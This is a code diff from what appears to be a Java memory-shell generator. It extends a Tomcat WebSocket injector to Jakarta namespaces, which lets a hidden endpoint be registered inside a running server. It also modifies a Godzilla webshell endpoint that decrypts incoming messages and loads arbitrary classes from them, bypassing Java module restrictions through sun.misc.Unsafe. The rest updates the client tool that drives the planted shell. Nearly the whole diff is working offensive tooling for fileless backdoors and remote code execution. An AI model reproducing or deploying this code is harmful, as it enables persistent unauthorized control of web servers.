diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index 339dae5b..40ff9d11 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -44,6 +44,7 @@ public class TomcatShell extends AbstractShell { .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) + .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) .build(); } } \ No newline at end of file diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java index 5b4f4386..d3a27419 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java @@ -46,7 +46,8 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper { new Remapper() { @Override public String map(String typeName) { - if (typeName.startsWith("javax/servlet/")) { + if (typeName.startsWith("javax/servlet/") + || typeName.startsWith("javax/websocket/")) { return typeName.replaceFirst("javax", "jakarta"); } else { return typeName; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index 976e7ffb..b1074bc0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -94,6 +94,10 @@ public class TomcatWebSocketInjector { private void inject(Object obj, Object context) throws Exception { Object servletContext = invokeMethod(context, "getServletContext", null, null); Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); + if (container == null) { + container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"}); + } + if (container == null) { return; } @@ -104,8 +108,15 @@ public class TomcatWebSocketInjector { } ClassLoader contextClassLoader = context.getClass().getClassLoader(); - Class serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); - Class builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + Class serverEndpointConfigClass; + Class builderClass; + try { + serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + } catch (ClassNotFoundException e) { + serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder"); + } Constructor constructor = builderClass.getDeclaredConstructor(Class.class, String.class); constructor.setAccessible(true); Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern()); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index 27866a04..0ff0a726 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -6,6 +6,8 @@ import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; @@ -16,15 +18,35 @@ import java.net.URLClassLoader; */ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { public static String key; - private Session session; - private Class payload; + private static Class payload; - public Class Q(byte[] classBytes) throws Throwable { + public Class reflectionDefineClass(byte[] classBytes) throws Throwable { + Object unsafe = null; + Object rawModule = null; + long offset = 48; + Method getAndSetObjectM = null; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + unsafe = unsafeField.get(null); + rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); + } catch (Throwable ignored) { + } URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defMethod.setAccessible(true); - return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + Class clazz = (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + if (getAndSetObjectM != null) { + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); + } + return clazz; } public byte[] x(byte[] s, boolean m) { @@ -48,11 +70,11 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< try { byte[] data = base64Decode(message); data = x(data, false); - if (payload == null) { - payload = Q(data); + if (payload == null || (data[0] == -54 && data[1] == -2)) { + payload = reflectionDefineClass(data); session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true))); } else { - java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); Object obj = payload.newInstance(); obj.equals(data); obj.equals(bos); @@ -60,10 +82,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true))); } } catch (Throwable e) { - try { - session.close(); - } catch (java.io.IOException ignored) { - } + e.printStackTrace(); } } diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java index a85f2082..b7669736 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.godzilla; import lombok.SneakyThrows; import org.java_websocket.client.WebSocketClient; +import org.java_websocket.framing.CloseFrame; import org.java_websocket.handshake.ServerHandshake; import java.net.URI; @@ -13,7 +14,7 @@ import java.util.concurrent.atomic.AtomicReference; public class BlockingJavaWebSocketClient extends WebSocketClient { private CountDownLatch connectLatch = new CountDownLatch(1); - private CountDownLatch responseLatch = new CountDownLatch(1); + private volatile CountDownLatch responseLatch; private final AtomicReference responseMessage = new AtomicReference<>(); private final AtomicReference responseBytesMessage = new AtomicReference<>(); private volatile boolean connected = false; @@ -24,38 +25,125 @@ public class BlockingJavaWebSocketClient extends WebSocketClient { @Override public void onOpen(ServerHandshake handshake) { + System.out.println("连接成功"); connected = true; connectLatch.countDown(); } - @Override public void onMessage(String message) { + System.out.println("收到消息: " + message); responseMessage.set(message); - responseLatch.countDown(); + if (responseLatch != null) { + responseLatch.countDown(); + } close(); } - @Override public void onMessage(ByteBuffer byteBuffer) { + System.out.println("收到字节消息: " + byteBuffer); responseBytesMessage.set(byteBuffer.array()); - responseLatch.countDown(); + if (responseLatch != null) { + responseLatch.countDown(); + } close(); } - @Override public void onClose(int code, String reason, boolean remote) { - responseLatch.countDown(); - connectLatch.countDown(); + System.out.println("连接关闭: " + code + " - " + reason); connected = false; + // Signal any waiting threads + if (responseLatch != null) { + responseLatch.countDown(); + } + connectLatch.countDown(); } - @Override public void onError(Exception ex) { - responseLatch.countDown(); - connectLatch.countDown(); + System.out.println("连接错误: " + ex.getMessage()); connected = false; + // Signal any waiting threads + if (responseLatch != null) { + responseLatch.countDown(); + } + connectLatch.countDown(); + ex.printStackTrace(); } + public String sendRequest(String message) throws InterruptedException { + // Connect if not already connected + if (!connected && !isOpen()) { + connect(); + if (!connectLatch.await(5, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout during WebSocket connection."); + } + } + + if (!connected || !isOpen()) { + throw new IllegalStateException("WebSocket connection is not open."); + } + + // Reset response data and create new response latch for this request + responseMessage.set(null); + responseBytesMessage.set(null); + responseLatch = new CountDownLatch(1); + + // Send the message + send(message); + + // Wait for response + if (!responseLatch.await(10, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout waiting for WebSocket response."); + } + + // Check if connection was closed during wait + if (!connected) { + throw new IllegalStateException("WebSocket connection was closed while waiting for response."); + } + + return responseMessage.get(); + } + + public byte[] sendRequest(ByteBuffer message) throws InterruptedException { + // Connect if not already connected + if (!connected && !isOpen()) { + connect(); + if (!connectLatch.await(5, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout during WebSocket connection."); + } + } + + if (!connected || !isOpen()) { + throw new IllegalStateException("WebSocket connection is not open."); + } + + // Reset response data and create new response latch for this request + responseMessage.set(null); + responseBytesMessage.set(null); + responseLatch = new CountDownLatch(1); + + // Send the message + send(message); + + // Wait for response + if (!responseLatch.await(10, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout waiting for WebSocket response."); + } + + // Check if connection was closed during wait + if (!connected) { + throw new IllegalStateException("WebSocket connection was closed while waiting for response."); + } + + return responseBytesMessage.get(); + } + + public void disconnect() { + if (connected && isOpen()) { + close(); + } + } + + @SneakyThrows public static String sendRequestWaitResponse(String entrypoint, String message) { BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint)); @@ -68,46 +156,6 @@ public class BlockingJavaWebSocketClient extends WebSocketClient { return blockingJavaWebSocketClient.sendRequest(message); } - public String sendRequest(String message) throws InterruptedException { - connect(); - if (!connectLatch.await(5, TimeUnit.SECONDS)) { - throw new InterruptedException("Timeout during WebSocket connection."); - } - if (!connected) { - throw new IllegalStateException("WebSocket connection is not open."); - } - - responseMessage.set(null); - connectLatch = new CountDownLatch(1); - responseLatch = new CountDownLatch(1); - send(message); - - if (!responseLatch.await(5, TimeUnit.SECONDS)) { - throw new InterruptedException("Timeout waiting for WebSocket response."); - } - return responseMessage.get(); - } - - public byte[] sendRequest(ByteBuffer message) throws InterruptedException { - connect(); - if (!connectLatch.await(5, TimeUnit.SECONDS)) { - throw new InterruptedException("Timeout during WebSocket connection."); - } - if (!connected) { - throw new IllegalStateException("WebSocket connection is not open."); - } - - responseBytesMessage.set(null); - connectLatch = new CountDownLatch(1); - responseLatch = new CountDownLatch(1); - send(message); - - if (!responseLatch.await(5, TimeUnit.SECONDS)) { - throw new InterruptedException("Timeout waiting for WebSocket response."); - } - return responseBytesMessage.get(); - } - public static void main(String[] args) { String uri = "ws://localhost:8082/app/fuck"; System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id")); diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index d03784bb..0e18d67f 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -231,9 +231,11 @@ public class GodzillaManager implements Closeable { byte[] aes = aes(this.key, bytes, true); String base64String = Base64.encodeBase64String(aes); String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); - byte[] x = aes(key, Base64.decodeBase64(response), false); - GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); - return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); + if(StringUtils.isNoneBlank(response)){ + byte[] x = aes(key, Base64.decodeBase64(response), false); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); + return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); + } } return false;